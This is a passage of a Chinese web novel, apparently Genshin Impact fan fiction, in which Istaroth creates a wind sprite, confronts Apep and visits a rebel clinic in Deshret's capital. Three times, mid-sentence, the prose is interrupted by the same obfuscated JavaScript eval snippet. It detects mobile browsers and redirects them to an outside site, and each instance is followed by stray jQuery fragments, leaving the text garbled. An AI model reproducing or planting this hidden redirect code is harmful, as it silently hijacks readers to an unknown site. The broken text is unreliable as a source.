那她也不必马上推动赤王,让他打开禁忌知识的通道。
伊斯塔露还需要时间下决定,需要时间去确定她那几位各怀鬼胎的“同事”的立场。
她也做不到毫无芥蒂地利用花神和赤王的性命。
同时,她也需要时间来完成那本笔记给她留下的要求。
“在花神牺牲自己打开禁忌知识的通道前,创造一只具有灵智的风精灵,并在你进入通道前放生。”
笔记上如此写道。
.
“您来找我就只是为了向我打听为何浇灌苗圃能诞生出镇灵吗?卡伊洛斯大人。”
花香馥郁的苗圃中,娜布·玛莉卡塔斜倚着花藤织就的长椅,悠悠地朝手中的花茶吹了口气。
“偏偏是在那场会议不欢而散的几天后……”
“令人遗憾。我还以为您是看透了阿赫玛尔狂妄自大的真面目,转而愿意做我的座上宾了。”
“还是他推荐我来找你的,怎么这么说他?”
伊斯塔露笑了一声,放下手中的茶盏,看向令四周百花都黯然失色的美丽神女:
“阿赫玛尔说他负责裁断与征伐,若说创生,还得看你的苗圃中诞生镇灵的奇迹。”
“我就要说他。”
娜布冷哼一声,顺手摸了摸一只凑上前来的镇灵:
“无论您有什么考量,敢让您向他称臣,他就是胆大包天。”
随后,娜布放下花茶,接过一群镇灵运来的花束,将其捧到伊斯塔露面前。
“来,卡伊洛斯大人,这束花配您好看,送给您。”
“但是很抱歉,我也不知道,我为何能令镇灵们诞生。”
“您也知道,我是仙灵一族的末裔,我的同族只剩下漂浮的躯壳,尚能指引旅人——或许这是我们奇特的种族天赋呢?”
娜布遗憾地摊了摊手,又有些好奇地歪头打量着伊斯塔露,笑道:
“您打听这个做什么?我以为闲散如您,不会对‘创生’这种事情感兴趣。”
伊斯塔露挑了挑眉,表示自己也是一时兴起,或许很快会厌倦。
然而,在娜布的视线死角里,她又擦了一把冷汗。
太可怕了,为什么每个人对以前的她的印象都是闲散?
可那本笔记要她不断搞事——无论如何都不和闲散搭边,这未免有些太容易穿帮了吧?
她干完这一票怕是能当选全提瓦特最佳演员。
“哦,这样。”
所幸娜布没有追究下去。
“那我帮您去问问布耶尔吧,”娜布想了想,提议道,“哪怕是我,也为她的智慧所折服。”
“……不必了,娜布,多谢你。”
伊斯塔露打心底不愿意和布耶尔多接触。
赤王高傲骄矜,花神清高忧郁,在常人眼里,温柔宽和的树王或许是最好相处的。
可聪慧如树王,对伊斯塔露的防备也是最深的。
“嗯?真的不需要吗?”
娜布若有所思地看了伊斯塔露两眼,忽然从长椅上站起身,提着裙摆,再次来到伊斯塔露面前。
百花的女主人向眼前人微微躬身,她的衣裙如重重叠叠的花瓣,逐渐绽开,柔和的光晕透过枝叶间的缝隙,铺满了整个裙摆。
“卡伊洛斯大人,我代布耶尔向您道歉。”
“呃,不必,娜布,你先起来……”
伊斯塔露下意识地抬手,要扶起娜布。
她真的不习惯别人对她太客气,无论是在之前的帝君之梦里,还是在现在。
花神将手放入伊斯塔露手中,微微仰头,凝视着千年未见的恩人。
她的声音飘渺空灵,语气却坚定不移:
“这是我和布耶尔分歧最大的一次,她说总觉得您深藏不露,或许是未必抱着好意而来。”
伊斯塔露的动作微微一滞。
娜布却朝着她粲然一笑。
“抱歉,卡伊洛斯大人,请您别在意布耶尔的揣测。”
“她是很好的魔神,只是比起我和阿赫玛尔,更加谨慎了些,她此言绝非出于恶意。”
传闻中清高傲物、冷淡古怪的花神看向伊斯塔露的眼中,却是难以言说的信赖与憧憬。
娜布不急不缓地述说着:
“把这些告诉您,是希望您相信我对您的坦诚,一如既往。”
“三月崩毁的那日,我得您的庇护与教诲,成为唯一的幸存者,也寻找到了生死的意义。”
“所以无论您如今的来意是什么,我都为和您重逢而喜悦。”
“我并不在意是否拥有枯朽漫长的生命,只求死亡时拥有极尽绚烂的瞬间。”
“若您需要,娜布愿意以生命为您开辟前路。”
伊斯塔露只能苦笑作答。
她不喜欢看别人在她面前死去,更怕有人心甘情愿为她而死。
伊斯塔露缓缓后退了半步。
她没有回答娜布,只是带着她“创生风精灵”的任务,离开了苗圃。
.
没能从娜布那里得到答案,伊斯塔露结合搜罗到的古籍,决定自己试试深浅。
她就造个风精灵,应该不会……应该不会出事吧?
侥幸在伊斯塔露心里一闪而过,很快被她掐灭。
算了,这里的人类还得活呢。
以防万一,她还是到世界边界去搞这种生物科研吧。
伊斯塔露最后驻扎在一根浮在半空的巨大圆柱附近。
她坐在沙地上,面前的空地摆着搞事指南、一摞古籍,以及各种稀奇古怪的材料。
伊斯塔露翻阅着这本记录着各种秘
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936213|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
辛的笔记。
笔记里说,曾有个叫白夜国的人类国度,将过去的她记载为「时之千风」「不灭风」。
所以造个风元素精灵应该是没问题……
——没问题才有鬼了。
伊斯塔露的权能是「时间」,和风有所关联,却并没有本质关系。
所谓「不灭风」,大概只是因为时间静止万物不灭,流风也自然为之驻足。
剩下的所谓关联,大多是文词模糊的谣传。
总而言之,在造风精灵这件事上,她也只能摸石头过河。
她甚至都不知道风精灵该长什么样!
伊斯塔露打了个哈欠。
要不是她和「生之执政」不熟,她是真想把这种事交给她专业的同事。
眯起眼的瞬间,一本古籍却牢牢吸引了伊斯塔露的目光。
引人注目的不是书籍本身,而是封面上贴着的簇新纸片——
「伊斯塔露,教你个创生的小妙招——就这本书,是我造厄歌莉娅时用的。说不准哪天你就用上了呢,别客气」
——落款赫然是「纳贝里士」。
伊斯塔露神色复杂地取下了纸片。
她来沙漠时,行囊里根本没有书本。
所以这只能是她被若娜瓦审问以后的事。
可纳贝里士为什么要把这玩意塞给她?
她知道了多少?
伊斯塔露沉吟片刻后,却毫不犹豫地翻开了纳贝里士“赠予”的古籍。
纳贝里士没必要用这么莫名其妙和低级的方式骗她。
况且,在能够直面「天理」之前,她没资格放弃任何可以利用的存在。
哪怕是谎言,也得化为她用。
何况目前若娜瓦和纳贝里士并没有对她表达太大的恶意。
伊斯塔露照着古籍所写的内容,开始造她的风精灵。
烬寂海的魔兽残骸,伊斯塔露对此早有准备。
生命的源泉,伊斯塔露把一瓶胎海水凝成水球,托在掌中。
最自由的流风,伊斯塔露去高空捞了一缕无尘的疾风。
……最后需要加入她的权能?伊斯塔露沉默了片刻。
不是,这创生技术正经吗?
这些玩意混一起真的不会引发爆炸吗?
伊斯塔露庆幸自己远离人群了。
片刻后,她还是叹了口气,将自己的力量注入了掌心的一团混沌中。
霎时,耀眼夺目的白光在伊斯塔露手中绽开。
伊斯塔露眯起了眼。
片刻后,奇特的华光如抽丝剥茧般,缕缕散去。
一只白白的、手掌大小的飞翔豆丁出现在伊斯塔露掌心。
新生的风精灵呆呆地仰望着伊斯塔露。
随后,它扑扇着青白色的小翅膀,蹭了蹭伊斯塔露的手指。
伊斯塔露难以置信地摸了摸风精灵头上的两颗芽。
那她这算是……成功了?
不等她想好如何处置这只风精灵,风精灵自己就已经扑棱着翅膀,向着日落的方向飞走了。
伊斯塔露没有阻止,她的目的是完成笔记里的内容,后续如何解决,她恰巧也没想好。
风精灵不粘着她才是好事。
然而不消片刻,风精灵又火急火燎地飞了回来,“噗”地一声,黏在了伊斯塔露的斗篷上。
伊斯塔露:?
随后,地面剧烈地震颤起来,大片黄沙扬起,原始古龙愤怒的嘶吼声震耳欲聋。
高空中传来草龙阿佩普嘶哑的吼声:
“「时之执政」,你们本就是万恶的入侵者,还敢派个豆丁来挑衅?”
伊斯塔露任由风精灵揪着她的斗篷,直面愤怒的阿佩普,一时无言。
她造了个全自动闯祸精,能马上放生吗?在线等,很急。
27. 人间一梦(二十七)
在阿佩普的怒吼声中,风精灵在伊斯塔露的斗篷下抖了抖。
伊斯塔露好气又好笑伸手捉住风精灵,把它提溜到自己眼前:
“纳贝里士教我造了个什么?你真有灵智?闯祸倒是在行。”
风精灵一动不动,呆呆地看着伊斯塔露。
“你刚才也不这样啊?你动一下我看看?”
风精灵还在装傻。
“我等三秒,你不回答我就把你丢去喂龙,风精灵你到底有没有灵智?”
话音刚落,风精灵就连连点头,脑袋上白色的芽随着它的动作一跳一跳。
伊斯塔露哭笑不得。
有的朋友,有的,这风精灵包有灵智的,小小一只就精明得很。
装傻卖乖都有一套。
“「时之执政」,你莫要欺龙太甚!”
被伊斯塔露和风精灵无视了许久的阿佩普忍无可忍,发出惊天动地的怒吼,声浪激起的沙尘令伊斯塔露不适地迷起眼。
她慢条斯理地掸了掸斗篷,淡淡道:
“哦,那抱歉了,阿佩普阁下。”
伊斯塔露对阿佩普的愤怒视若无睹。
开玩笑,她可是特意在「天理」降下的天钉附近驻扎的。
“阿佩普阁下,不如看看这根天钉再说。”
“真的要为一件小事动怒?你在这里苟延残喘,难道不是我们对此睁一只眼闭一只眼的结果?”
“不蛰伏了?你觉得你现在的状态能挑战我——「天理」的四影之一?”
原本暴怒的草之龙没有回答,但肆虐的沙尘渐渐平息,疾风也收敛了气焰。
伊斯塔露舒了口气。
她只是远离人烟搞生物科研的,不是很想顺便打一架。
更何况笔记里说,这只草龙是旧时代与「天理」对立的「尼伯龙根」一派的余孽。
对她充满恶意却涉及她身份的事情,伊斯塔露目前只想敬而远之。
伊斯塔露转身回去收拾自己的行李,打算离开世界边境。
风精灵见状,很有眼力地往伊斯塔露肩上一趴。
“……你要和我一起走吗?”
伊斯塔露蹙着眉摸了摸风精灵的脑袋。
风精灵点点头,还时不时眨它的豆豆眼,诚挚地看着伊斯塔露。
“我怕麻烦,身上还一堆麻烦事,你小心被我养死。”
风精灵还是死死趴在她肩上。
“……知道了,我带你走。”
伊斯塔露叹了口气。
她在禁忌知识的通道打开前放生风精灵就好了,现在风精灵想跟着她就跟着吧。
……毕竟也是由她的权能创生出来的小家伙。
伊斯塔露踏上了回王城的路,一抹白影渐渐隐没在黄沙中。
与来时不同的是,她身后响彻着阿佩普的诅咒:
“僭越职权「创生」,祂一定不会放过你,哪怕你是祂的影子……”
伊斯塔露不以为意,她甚至没有回头:
“哦,无所谓了。”
反正她也没打算和「天理」相亲相爱。
迟早是你死我活的结果。
.
“所以卡伊洛斯你废了半天功夫,就搞出这么个丑丑的东西?”
“还没娜布那些飞翔瓶子好看。”
王城的街道上,阿赫玛尔一脸狐疑地打量趴在伊斯塔露头上的风精灵。
在风精灵有些嫌弃的注视下,阿赫玛尔气极反笑,想伸手把它拽下来,却被风精灵躲开。
“您一把年纪了,和它计较什么?出访时间,您还是专注正事。”
伊斯塔露轻飘飘地瞟了阿赫玛尔一眼——他还在用眼神和风精灵较劲。
“风精灵就长这样,不管怎么说,它的诞生已经是一个奇迹了。”
伊斯塔露摸了摸趴在头上的风精灵。
“啧,一把年纪?卡伊洛斯,你有点恶毒了。”
气质锋利、眉眼却极漂亮的赤王大人指了指自己。
“你不要被娜布和布耶尔带歪——论外貌,我不年轻吗?”
“何况我们不老不死,活个几千岁年龄很大吗?”
最后,阿赫玛尔对伊斯塔露表示了谴责:
“所以你对这丑丑的风精灵就是溺爱吧?”
“不然干脆就叫它‘巴阿赫’好了——沙漠语的‘奇迹’,这小家伙现在也还没名没姓,刚好。”
“不用了。”
伊斯塔露一口回绝。
“名字是有意义的,它的名字要留给它以后自己取。”
阿赫玛尔几乎要气笑了。
“……卡伊洛斯,你真是好大的胆子,我可是你的王。”
“我取的名字就没意义了?”
“您也好大的架子啊。”
“在您和风精灵都能斤斤计较的情况下,我还是会谨慎一点的。”
伊斯塔露无可奈何地退开几步,让阿赫玛尔和风精灵隔开了些距离。
“别和风精灵计较了,您此次出行是为了调查在城南密谋动乱的平民组织。”
“虽然我还是不理解您为何要亲自出手。”
“哦,这样。”
“那在你心里,我该如何?”
阿赫玛尔饶有兴趣地问道。
伊斯塔露悠悠然道:
“我以为您会像之前一样派下面去查,最多亲自动手解决有罪之人。”
阿赫玛尔却笑了一声,目光落在苍天之上,金眸与烈日同辉:
“哪有那么轻松?官员和民众不一样。如果官员谋反,得到确凿的证据后,我尚且可以说是他们心怀鬼胎。”
“可如果是人民指责我的统治,无论出发点如何,我都要考虑是不是我自己的问题。”
“雷穆斯,或是其他魔神,我不放在心上,可我治下的民众不能不顾。”
“……时间会记录下一切的,您在历史上会是一个爱民如子的好君王。”
伊斯塔露最后也只能给出如此回答。
“那当然,”阿赫玛尔笑了一声,侧头看她,“但我没兴趣听你说这些明面上的溢美之词,说点别的吧。”
“哦——那您想听我说什么?”
伊斯塔露神色如常地询问着,同时不着痕迹地侧过身,恰到好处地躲过了横劈而来的刀刃。
“叮”,短兵相接的声音。
随后,一道黑影在半空中划出弧线——偷袭者手中的大刀被阿赫玛尔手中的赤沙之杖轻而易举地打飞。
星光从指间飞出,伊斯塔露轻而易举地制住了偷袭者。
她抬起眼,随意打量了那平民模样的偷袭者几眼,若有所思地抵着下巴:
“赤王大人,您这王城,不怎么太平啊?”
“您要找的组织其中一员,没想到他们还挺恨我的。”
被伊斯塔露的权能束缚住的青年在“赤王”的名号下也不露怯,他恶狠狠地盯着伊斯塔露,“呸”地朝地上吐了一口口水:
“迷惑赤王大人的妖女!祸国佞臣!你不得好死!”
……祸国妖女吗?这是什么鬼剧本?
伊斯塔露大脑宕机了一下。
她没搞什么红颜祸水的身份吧?这剧本阿赫玛尔答应吗?
“你去王城里问问,现在谁不知道赤王大人为了你的要求,牺牲他宝贵的时间去调度资源,甚至贴出悬赏?这不是祸国殃民是什么?”
伊斯塔露:……
阿赫玛尔还站在这呢,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936214|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他再造谣一个看看?
伊斯塔露觉得自己很冤。
她前阵子为了造风精灵确实向阿赫玛尔要了各种奇奇怪怪的东西。
阿赫玛尔当时叹了口气就答应了,他具体做了什么,伊斯塔露也没放在心上。
但就算他亲自去帮她找了,也不能谣传她祸国殃民吧?
盲目崇拜真可怕。
伊斯塔露幽幽地盯着阿赫玛尔,以示谴责。
随后,疏淡如琉璃的神女蹲下身,直视着那如脱水的鱼一般反抗挣扎的青年:
“来,演一场你把我活捉了的戏,我需要亲自探查你们老巢的情况。”
原本疯狂挣扎的青年呆了一瞬。
似乎是为伊斯塔露的狂妄和目中无人所震惊。
“喂,你以为你是谁?!”
伊斯塔露对此视若无睹,她悠悠起身,收回了束缚青年的权能,居高临下地俯视不配合的青年。
“这件事由不得你选择。”
“带我去,你尚且有机会找人先把我围剿了,无论如何都少流些血。如果不带我去……你猜赤王大人为什么会亲自出现在这里?”
“孰是孰非,分得清吧?”
阿赫玛尔有些意外:
“卡伊洛斯,你不必……”
“不,相信我,赤王大人。”
伊斯塔露缓和了语气,不偏不倚地站在阿赫玛尔和被俘虏的青年之间:
“赤王大人,我知道你不想看到平民血流成河,我也不想,所以身为你的臣子,我以身入局就很合适——来龙去脉我会查清楚的。”
“用不着什么都你自己来扛。”
阿赫玛尔挑了挑眉,一瞬哑然。
其实他已经习惯了保护所有人,没想到有一天会有人会对他这么说。
伊斯塔露是第一个。
“麻烦您帮我看好风精灵。”
伊斯塔露顺手把趴在头上的风精灵丢给了阿赫玛尔,对不情不愿的青年做出了一个“请”的手势:
“请吧,你别无选择。”
青年似乎因为伊斯塔露的话动摇了,他踌躇片刻,敬畏又憧憬地朝着阿赫玛尔的方向行了礼,却不敢抬头看他。
随后,他走到了伊斯塔露前面。
“我只是想让人围剿你这个妖女……”
青年嘟嘟囔囔地解释。
伊斯塔露不置可否,在阿赫玛尔和风精灵的注视下,她毫不犹豫地和青年走进了弯弯绕绕的巷子。
走到阿赫玛尔看不到的地方时,伊斯塔露才叹了口气。
她不喜欢麻烦,如果可以,她也很愿意吃喝玩乐——阿赫玛尔不会不答应的。
她现在所做的一切,不仅是不想看到血流成河,更是希望为笔记里记载的未来做补偿。
——花神为禁忌知识献身、赤王被草龙吞噬的未来。
聊以慰藉她那可笑的、偶尔作痛的良心。
.
伊斯塔露才刚离开,原本乖乖待在阿赫玛尔手中的风精灵便立刻飞向她的方向,一溜烟地没了影。
阿赫玛尔没有阻止风精灵,他望着伊斯塔露离开的方向,忽然自嘲地笑了一声。
他想起了前些天布耶尔对他的提醒:
“那位卡伊洛斯阁下的来意和实力,我都无法轻易判定。”
“高傲如你,却偏偏能和她和睦相处。”
“阿赫玛尔,无论你有多少英雄惜英雄的想法,都要记得长个心眼。”
“唉,娜布已经甘愿为她所用了。”
“作为友人,我觉得你最好不要深陷其中,阿赫玛尔。”
“布耶尔,你在想什么?我对她没有任何想法。”
阿赫玛尔当时是这么回答的。
28. 人间一梦(二十八)
赤沙王城,交错纵横的小巷中。
伊斯塔露手腕上象征性地捆着麻绳,她抬起双手,一脸困倦地拍了拍平民青年的肩:
“什么时候能到你们窝点?”
“窝、窝点?!”青年涨红了脸,“我们是正义的!你凭什么这么侮辱我们!”
“我为什么要对你有好脸色?”
伊斯塔露好笑地摇了摇头。
“你们对阿赫玛尔和我的了解,大多都是道听途说,他可以宽恕子民的误解,但我凭什么要接受你们这种无缘无故的恨?”
“别动不动就正不正义的,又不是小孩子,这不是为你们的愚行兜底的借口。”
“呃,瞪我做什么?难道不是愚行吗?注定失败的、企图攀上荣华富贵的反叛行为。”
“赤王要镇压你们不过抬手的事,他不愿意罢了。”
“你这个冷血无情的妖女懂什么!”
冷血无情?伊斯塔露怔了怔,没有再讥讽青年。
这是第一次有人如此形容她。
“好了,带路吧。”
伊斯塔露叹了口气,如青年所愿闭上了嘴,眼神飘向一旁的白墙。
随后就看见一只费力扑扇着翅膀的风精灵。
小小的风精灵正飞过高墙,感受到伊斯塔露的目光,它很激动地向她晃了晃脑袋。
伊斯塔露无奈地朝飞向自己的风精灵笑了笑,默许了它趴在自己肩上。
伊斯塔露低声问风精灵:
“唉,你怎么没和阿赫玛尔一起?”
谁知刚听到“阿赫玛尔”几个字,风精灵就不悦地拱了拱伊斯塔露,见她不再提,才心满意足地眨了眨豆豆眼。
“这么不喜欢他?他这人还挺好的啊。”
伊斯塔露好笑地摸了摸风精灵。
等到伊斯塔露跟着青年来到叛乱据点里,她就笑不出来了。
在这个平民组织藏匿的建筑里,没有虎视眈眈埋伏她的大汉,也没有
只有一个看上去只有十三四岁的女孩坐在破旧的石桌边,把仅有一份的药包小心翼翼地均分成了十几份。
一帘之隔的后半间屋子传来此起彼伏的、不堪痛苦的呻吟声。
分药包的女孩瞥见青年,毫不客气地往桌角一指,示意青年帮忙干活。
“欸?阿蒙恩哈特?你居然老实回来啦?太好了。”
“别跑,来把这些分好的药煮一下,分给后屋那些病人——不准搞歧视,雨林和沙漠的人都要分到一样的药汤。”
名为“阿蒙恩哈特”的青年不情不愿地指着伊斯塔露:
“梅丽塔蒙,我把这妖女带回来了,你看好她,等我把其他人叫回来审判她。”
“啊?妖女?”
名为“梅丽塔蒙”的小姑娘目光落在伊斯塔露身上。
伊斯塔露回以无波无澜的视线,她肩上的风精灵倒是摇头晃脑地和小姑娘打了个招呼。
梅丽塔蒙沉吟片刻,波澜不惊地点点头。
“哦,她啊,真能让你抓到?那你把人放这吧,让她给我打杂。”
“你就这个反应?”阿蒙恩哈特忍不住抬高了声调,“你知道她是谁吧?!”
“嘁,知道,所以呢?让你们杀人泄愤吗?”
梅丽塔蒙不解地看向阿蒙恩哈特。
“我没想……就算我想,咝,也没什么不对吧?我们做这些都是出于正义……总之她劳民伤财!”
青年语无伦次地试图解释,最后也只能目光复杂地“啧”了一声。
他确实想如妖女所建议的那样,找人围剿这个让圣明的赤王大人为她鞍前马后的祸国佞臣。
可偏偏也是她说——“赤王大人,我知道你不想看到平民血流成河,我也不想”。
没给阿蒙恩哈特太多纠结的时间,梅丽塔蒙放下手中的药包,开始把人往帘子后面推。
“无知又野蛮的家伙,不准在我面前虐待人。”
“走开走开,你自己忙活去,人给我留下。”
等阿蒙恩哈特消失在视线中,梅丽塔蒙才回过头,朝伊斯塔露扬了扬下巴。
“好啦,现在没别人啦,你想打听什么?”
伊斯塔露不动声色地瞟了一眼帘子后的景象,随后掐了自己一把,咬住下唇,目光湿漉漉地看着梅丽塔蒙:
“啊,你在说……什么?不要杀死我,不要杀死我,求你了……”
疏淡却极美的神女看上去弱不禁风。
伊斯塔露都想给自己的演技颁个奖了。
梅丽塔蒙却不以为意地挥了挥手:
“阿蒙恩哈特听到你和赤王大人出门的消息就跑去埋伏了,就凭他那三脚猫功夫……哼,只能是你假装被俘啦。”
“所以我要怎么称呼你?总不能也叫你妖女吗?”
“你不应该叫我妖女吗?”
伊斯塔露见状,随手解开了缠在手腕上的麻绳,审视的视线终于落在了这个小姑娘身上。
“我叫……卡伊洛斯。”
“我为什么要叫你妖女?阿蒙恩哈特那些人讨厌你才这样,我又不会。”
梅丽塔蒙毫不见外地把一小份药包塞到伊斯塔露手里:
“来都来了,帮我煮一下药吧,谢谢你。”
“啊,可以。但是……”
伊斯塔露意有所指地看了梅丽塔蒙一眼。
“等煎完药吧,你想知道什么,我会告诉你的。”
梅丽塔蒙头也没抬。
风精灵站在伊斯塔露肩上,探头探脑地看没停下过忙活的梅丽塔蒙。
梅丽塔蒙分好药包后,坐到伊斯塔露身边,和她一起煮药包。
逼仄狭小的屋内,水汽模糊了少女的眉眼,她支着下巴,弯了眉眼:
“我不讨厌你,卡伊洛斯,一点都不。嫉恨他人不能让世界更好。”
“我觉得我有能力靠着自己的双手活下去,那就够了。”
梅丽塔蒙微微一顿,意有所指地吐了吐舌头:
“我才不干怨天尤人的事呢,自找没趣。”
伊斯塔露笑了笑,没有回答。
等到药汤都煮好,她才默默端起一碗药汤,和梅丽塔蒙一起越过垂下的帘子,看见了后屋的场景。
简陋的床铺一字排开,每张床上都躺着辗转反侧、形容枯槁的病患。
死气沉沉的房间内,时高时低的痛苦呻吟几乎没有断过。
梅丽塔蒙回头叮嘱了一句:
“这药我好不容易才搞到手的,分了二十四份,一点都没有多的,千万不要打翻啊。”
“这点药能让他们多活几天……大概吧?”
梅丽塔蒙的声音低了下去:
“要是我能救他们就好了……”
风精灵从伊斯塔露肩上慢悠悠飞起,轻轻碰了碰梅丽塔蒙的脸。
伊斯塔露在那片哀声中叹息着:
“这些人那么恨我,甚至不顾一切刺杀我,到底是为什么?”
“明明都已经这样了。”
她好像也没干什么伤天害理的事情,阿赫玛尔也没做太过分的事。
怎么就会变成这样。
“活着,”梅丽塔蒙毫不犹豫地回答她,“他们只想活着。”
梅丽塔蒙把风精灵托回伊斯塔露肩上,安慰般拍了拍她的肩:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15936215|177223||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“是无缘无故的迁怒啦——什么佞臣不佞臣的,我们哪知道?他们只是很气愤,气愤我们甚至没钱买药而赤王大人可以为你倾尽金银。”
“虽然,赤王大人为你花的财力物力,够他们所有人幸福终老好几辈子了。”
伊斯塔露沉默地移开了目光。
她做这些事的时候,确实没有考虑过人类,她在归离集时好像不是这样的。
梅丽塔蒙却也没有怪她的意思,她分发完药汤后,带着伊斯塔露越过帘子,回到了清净的前半间屋子。
“我们最开始其实只是病患收容所,但是赤王大人为你的要求花的财力物力还是太令人难以置信了,所以开始有人联合自己认识的人,掀起了一些动乱。”
“我阻止过,但是大部分人只在受伤的时候尊重我,其他时候也只是把我当做孩子。”
梅丽塔蒙很是无奈地叹了口气,轻轻踢了一脚石桌。
“毕竟我只算是个医生吧,别人怎么想,我不知道,我只希望所有人都好好活着。”
“而且这件事这不能怪你,也不能怪赤王大人。”
“赤王大人足够强大也足够仁爱,没必要再要求他如何如何了,毕竟人非圣贤——而且光下总会有阴影的。”
“但我们总有办法活着,然后变得更好!我觉得啊,这就是人类。”
“抱歉啊,自说自话了那么多。好了,你问也问完啦,该离开了吧?”
梅丽塔蒙朝伊斯塔露笑了笑,做了个“请”的手势。
踌躇片刻后,她又拉了拉伊斯塔露的衣角:
“话是这么说,但是卡伊洛斯,能不能帮个忙?”
似乎是不习惯请求他人,利落的梅丽塔蒙支支吾吾半天,才小声道:
“能不能向赤王大人进谏,让他制定国策的时候考虑一下底层的人?”
“比起雨林人和沙漠人的大矛盾,更迫在眉睫的是最底层的人有些要活不下去了。”
伊斯塔露在梅丽塔蒙期冀的目光中,只是叹了口气,
“这件事我不会先入为主干扰他,我会如实上报”
梅丽塔蒙点点头,看上去神色入常,但伊斯塔露能听出她的失望:
“你想要什么回报可以和我提,我、我虽然身无长物,但也会尽量满足你……”
“他们真的很惨了,不要那么冷漠啊?”
这是伊斯塔露第二次被说冷漠无情。
但梅丽塔蒙没有说错,她想。
她和他人保持微妙的距离,尽量客观地做出回答,甚至畏惧对自己一腔赤诚的心。
甚至对于牺牲阿赫玛尔和娜布,她也只是有着愧疚,却从来没有想过放弃这个计划。
一瞬也没有过。
伊斯塔露也觉得自己似乎已经开始漠视眼前的一切。
可她也想起了曾经在归离集时,归终对她的评价:
“在我心里,你一直是很善良很温柔的人呢。”
可她是从什么时候开始改变的?离开归离集吗?
在伊斯塔露沉思之际,建筑的小木门却被人一脚踹开,阿蒙恩哈特领着几名气势汹汹的大汉闯进屋内。
“祸国妖女!今天我们就要让你体会到我们的痛苦!”
站在最前面的大汉恶狠狠地盯着伊斯塔露。
阿蒙恩哈特混在大汉里,只目光躲闪地喊了一句:
“梅丽塔蒙你不准拦着!”
“哦,终于等到你们了。”
伊斯塔露对这样的场景却毫不意外,她甚至有闲心逗逗趴在自己肩上的风精灵:
“欸,风精灵,快,你去给他们点颜色瞧瞧。”
29.人间一梦(二十九)
风精灵不满地撞了一下伊斯塔露,她隐约能从它的豆豆眼里看出谴责的意味。
“风精灵,你要对自己有自信,我甚至分了你一点权能。”
风精灵没理她,它吭哧吭哧地飞到伊斯塔露的头上,原地一趴,便不动了。
伊斯塔露也收起了玩笑的神色,慢悠悠地抬眼看向虎视眈眈的大汉:
“你们想让我怎么体会?”
“你、你凭什么这么理直气壮!”
阿蒙恩哈特在大汉的包围中声讨伊斯塔露:
“谁不知道赤王大人为了一个史官的要求倾尽国力!这些财力物力,够多少普通人活下来?你这种剥削平民、蛊惑赤王大人的家伙……”
其中一名大汉也粗声粗气地帮腔:
“妖女!你也该受病痛折磨,然后在床上辗转反侧无法入眠,再死在无人知晓的沙下!”
伊斯塔露实在忍不住,为欲加之罪气得笑出了声。
虽然拒绝了梅丽塔蒙,但她大概还是会把梅丽塔蒙的请求告诉阿赫玛尔。
——只是这不代表她接受这些经历苦难的人的迁怒。
伊斯塔露平静而讥讽地看着拦在眼前的人,轻轻呼出一口气,没有再说话。
“够了!你们在说什么!”
沉默许久的梅丽塔蒙忽然拍了下石桌,
“我说过,我不允许你们在我面前杀人,好了,都出去。”
那群人似乎瑟缩了一下,随后却不进反退,更有大汉指着梅丽塔蒙质问:
“梅丽塔蒙,你个丫头片子真把自己当人物了?!吃里扒外!”
随后,马上有人用鄙夷的话语继续攻击她:
“一个克死了全族人的灾星,还不是会配点药才被收留在这里,就敢在这里打肿脸充胖子?也不看看自己是谁。”
“还喊什么雨林人和沙漠人平等?还希望所有人活下来?放屁!都是空话!现在不就和那个妖女搅和在一起了?!”
伊斯塔露有些担忧地回过头。
果然看见梅丽塔蒙咬着牙,半天说不出一个字。
伊斯塔露抬手摸了摸她的头,把人拉到了自己身后:
“梅丽塔蒙,你没有做错,你做得非常非常好,哪怕不是所有人都能理解你。”
伊斯塔露收回了手,目光逐一扫过义愤填膺的几人。
“和你们讲道理没用啊,我呢,还有个更好的提议。”
“唉,直接动手如何?”
伊斯塔露慢条斯理地活动着手腕:
“动手不能解决问题,但能解决你们。”
.
须臾之后。
伊斯塔露在歪七扭八倒地的大汉前轻松地拍了拍手,便听身后有人破门而入——
“卡伊洛斯?你不会出事……”
“呃,阿赫……咳咳,赤王大人?”
伊斯塔露回过头,看见,身后是严阵以待的巡逻士兵。
看到倒了一片的平民,阿赫玛尔识相地把后面的话咽了回去。
跟在他身后的士兵则鱼贯而入,把倒地作乱的平民一一押走。
最先醒来的阿蒙恩哈特眼看自己被两名士兵架着,当即痛哭流涕:
“我不想死!赤王大人,我真的不想死!他们也不想死,为什么……为什么别人穷奢极欲而我们要死?我不想死……”
阿赫玛尔似乎用眼角余光瞥了他一眼,却没有回头。
在一名士兵要掀开帘子逮捕其他人时,伊斯塔露伸手拦住了他。
